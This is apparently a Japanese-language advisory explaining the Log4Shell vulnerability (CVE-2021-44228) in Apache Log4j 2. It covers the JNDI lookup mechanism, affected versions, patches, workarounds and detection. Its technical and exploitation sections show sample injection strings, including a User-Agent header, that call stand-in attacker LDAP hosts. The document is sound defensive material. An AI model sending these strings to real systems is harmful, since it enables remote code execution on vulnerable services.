🚨 CVE-2021-44228 — 「Log4Shell」

Apache Log4j 2 における深刻なリモートコード実行の脆弱性であり、広く Log4Shell として知られています。

📖 目次

• 概要
• 技術的詳細
• 深刻度とCVSS
• 影響を受けるバージョン
• 悪用と影響
• 実際の影響
• 検出
• 対策と修正
• まとめ

🔎 概要

CVE-2021-44228 は、2021年12月に発見された Apache Log4j 2.x（2.15.0 未満）における深刻なRCE脆弱性です。

この脆弱性により、認証されていないリモート攻撃者が、Log4j によって記録される特別に細工された入力を送信するだけで、脆弱なシステム上で任意のコードを実行できます。この欠陥は、世界中の無数のJavaベースのアプリケーションやサービスに影響を及ぼします。

🧠 技術的詳細

この脆弱性は、記録された文字列内の JNDIルックアップ の処理に起因します。攻撃者は、記録されるメッセージ内に悪意のあるJNDIリソース（例：LDAP、DNS）を埋め込むことができます。例えば以下のようにします。

${jndi:ldap://attacker.com/a}

Log4j は以下の処理を行います。

1. 入力からJNDIルックアップを解析する
2. 攻撃者が制御するサーバーに対してリモートルックアップを実行する
3. ルックアップ処理の一部として悪意のあるJavaコードを読み込む
4. 脆弱なアプリケーションコンテキスト内でそのコードを実行する

これにより、攻撃者は影響を受けるサービス上で完全な リモートコード実行（RCE） を達成できます。

📊 深刻度とCVSS

Log4j は無数のライブラリやアプリケーションで使用されているため、信頼できないデータを記録する任意のシステムが脆弱になる可能性があります。

📦 影響を受けるバージョン

以下のLog4j 2のバージョンが 脆弱 です。

>= 2.0-beta9 かつ < 2.15.0

さらに、2.15.0 の一部の構成でも悪用可能であったため、安全なベースラインは 2.16.0 以降です。

🛠 修復と修正

✅ 公式修正バージョン

以下の Log4j 2 バージョン に更新してください。

2.17.1 以降

その後のパッチでさらに安全性が向上しています（例：2.17.2、2.19.0 など）。

🧱 一時的な回避策（すぐにパッチを適用できない場合）

即時のアップグレードが不可能な場合は、以下を実行できます。

• Log4j 設定で JNDIルックアップを無効化 する
• 以下の設定を行う：

log4j2.formatMsgNoLookups=true

• クラスパスから JndiLookup クラスを削除する：

zip -q -d log4j-core.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

これらの手順は、更新できるようになるまで露出を減らすのに役立ちます。

🔥 悪用と影響

この脆弱性は非常に簡単に悪用できます。攻撃者は、アプリケーションによって記録される細工された文字列（例：HTTPヘッダー、フォームパラメータ、チャットメッセージ、データベースフィールドなどを介して）を送信するだけで済みます。

User-Agent: ${jndi:ldap://attacker.example/a}

記録されると、アプリケーションはリモートルックアップを実行し、攻撃者が制御するJavaコードを強制的に実行させることができます。

🌍 実際の影響

Log4Shell は世界的に大きな影響を及ぼしました。

• 無数の公開サービスが即座にさらされた
• クラウドプロバイダー、ゲームサーバー、エンタープライズアプリ、IoT、Webサービス、APIなどが影響を受けた
• セキュリティコミュニティ全体が脆弱なシステムの検出とパッチ適用に動員された
• 悪用は広範囲かつ自動化され、急速に進行した

これは ここ数十年で最も重要な脆弱性の一つ です。

🧪 検出

脆弱なシステムは以下の方法で検出できます。

• ログ内の怪しいJNDIパターン（${jndi:）をスキャンする
• Log4j のバージョンをチェックする脆弱性スキャナを使用する
• 悪用試行のための着信トラフィックを監視する
• クラスパスの内容でJNDIルックアップのサポートを確認する

📌 まとめ

⚠️ 最終的な勧告

アプリケーションまたは使用しているライブラリが Log4j 2.x に依存している場合は、直ちに パッチ適用済みバージョン（≥ 2.17.1）に更新し、JNDIルックアップが無効化または可能であれば削除されていることを確認してください。